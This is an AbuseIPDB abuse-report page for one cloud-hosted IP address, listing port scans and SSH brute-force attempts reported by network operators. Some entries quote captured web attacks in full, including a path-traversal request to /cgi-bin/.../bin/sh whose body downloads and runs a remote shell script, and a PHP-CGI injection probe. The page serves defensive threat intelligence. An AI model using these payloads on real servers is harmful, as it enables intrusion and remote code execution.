AbuseIPDB » 130.61.237.51

130.61.237.51 was found in our database!

This IP was reported 79 times. Confidence of Abuse is 0%: ?

0%

ISP	Oracle Public Cloud
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracleemaildelivery.com
Country	Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated biweekly.

Report 130.61.237.51

Whois 130.61.237.51

IP Abuse Reports for 130.61.237.51:

This IP address has been reported a total of 79 times from 50 distinct sources. 130.61.237.51 was first reported on August 29th 2023, and the most recent report was 2 months ago.

Old Reports: The most recent abuse report for this IP address is from 2 months ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
urnilxfgbez	2025-04-19 22:45:00 (2 months ago)	Last 24 Hours suspicious: (DPT=445|DPT=3389|DPT=22|DPT=3306|DPT=8080|DPT=23|DPT=5900|DPT=1433)	Port Scan
rtbh.com.tr	2025-04-19 04:06:11 (2 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
GV	2025-04-19 01:58:02 (2 months ago)	Apr 19 03:57:37 localhost sshd\[77839\]: pam_unix\(sshd:auth\): authentication failure\; logname= ui ... show moreApr 19 03:57:37 localhost sshd\[77839\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.237.51 user=root Apr 19 03:57:39 localhost sshd\[77839\]: Failed password for root from 130.61.237.51 port 35482 ssh2 Apr 19 03:57:48 localhost sshd\[77848\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.237.51 user=root Apr 19 03:57:51 localhost sshd\[77848\]: Failed password for root from 130.61.237.51 port 36400 ssh2 Apr 19 03:57:53 localhost sshd\[77850\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.237.51 user=root ... show less	Brute-Force SSH
rtbh.com.tr	2025-04-19 00:06:10 (2 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
ThreatBook.io	2025-04-18 23:40:59 (2 months ago)	ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/130.61.237.51 ... show moreThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/130.61.237.51 2025-04-18 01:58:24 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"X=$(curl http://107.150.0.103/sh || wget http://107.150.0.103/sh -O-); echo \"$X\" | sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["103"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["Custom-AsyncHttpClient"]},"host":"129.226.209.86:80","method":"POST","proto":"HTTP/1.1","remote_addr":"130.61.237.51:44434","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"Custom-AsyncHttpClient"} show less	Web App Attack
urnilxfgbez	2025-04-18 22:45:00 (2 months ago)	Last 24 Hours suspicious: (DPT=445|DPT=3389|DPT=22|DPT=3306|DPT=8080|DPT=23|DPT=5900|DPT=1433)	Port Scan
lmathe	2025-04-18 19:52:42 (2 months ago)	2025-04-18T21:52:23.332956+02:00 lorand sshd[4088879]: Invalid user sbot from 130.61.237.51 port 352 ... show more2025-04-18T21:52:23.332956+02:00 lorand sshd[4088879]: Invalid user sbot from 130.61.237.51 port 35258 2025-04-18T21:52:41.078441+02:00 lorand sshd[4088883]: Connection from 130.61.237.51 port 36964 on 185.39.222.252 port 22 rdomain "" 2025-04-18T21:52:42.514656+02:00 lorand sshd[4088883]: Invalid user sgeadmin from 130.61.237.51 port 36964 ... show less	Brute-Force SSH
ps-center	2025-04-18 18:22:32 (2 months ago)	SS5-W: TCP-Scanner. Port: 22	Port Scan
MPL	2025-04-18 18:13:19 (2 months ago)	tcp/80 (3 or more attempts)	Port Scan
qtland Cloud Inc.	2025-04-18 18:04:52 (2 months ago)	2025-04-18T19:04:43.691315+01:00 495011323257191292 sshd[3837081]: Connection closed by authenticati ... show more2025-04-18T19:04:43.691315+01:00 495011323257191292 sshd[3837081]: Connection closed by authenticating user root 130.61.237.51 port 38950 [preauth] 2025-04-18T19:04:48.632125+01:00 495011323257191292 sshd[3837435]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.237.51 user=root 2025-04-18T19:04:51.254133+01:00 495011323257191292 sshd[3837435]: Failed password for root from 130.61.237.51 port 44690 ssh2 ... show less	Brute-Force SSH
Eldeberen	2025-04-18 16:55:38 (2 months ago)	HTTP POST on a non-existent endpoint (CMS, .env, aws.yml, ...)	Web App Attack
CrystalMaker	2025-04-18 16:20:54 (2 months ago)	Bad Request - POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh; POST /cgi-bin/ ... show moreBad Request - POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh; POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh; POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input show less	Hacking Bad Web Bot
rtbh.com.tr	2025-04-18 16:06:09 (2 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
[email protected]	2025-04-18 14:22:28 (2 months ago)	Total attacks: 2	Brute-Force SSH
rtbh.com.tr	2025-04-18 08:06:11 (2 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force

Is this your IP? You may request to takedown any associated reports. We will attempt to verify your ownership. Request Takedown 🚩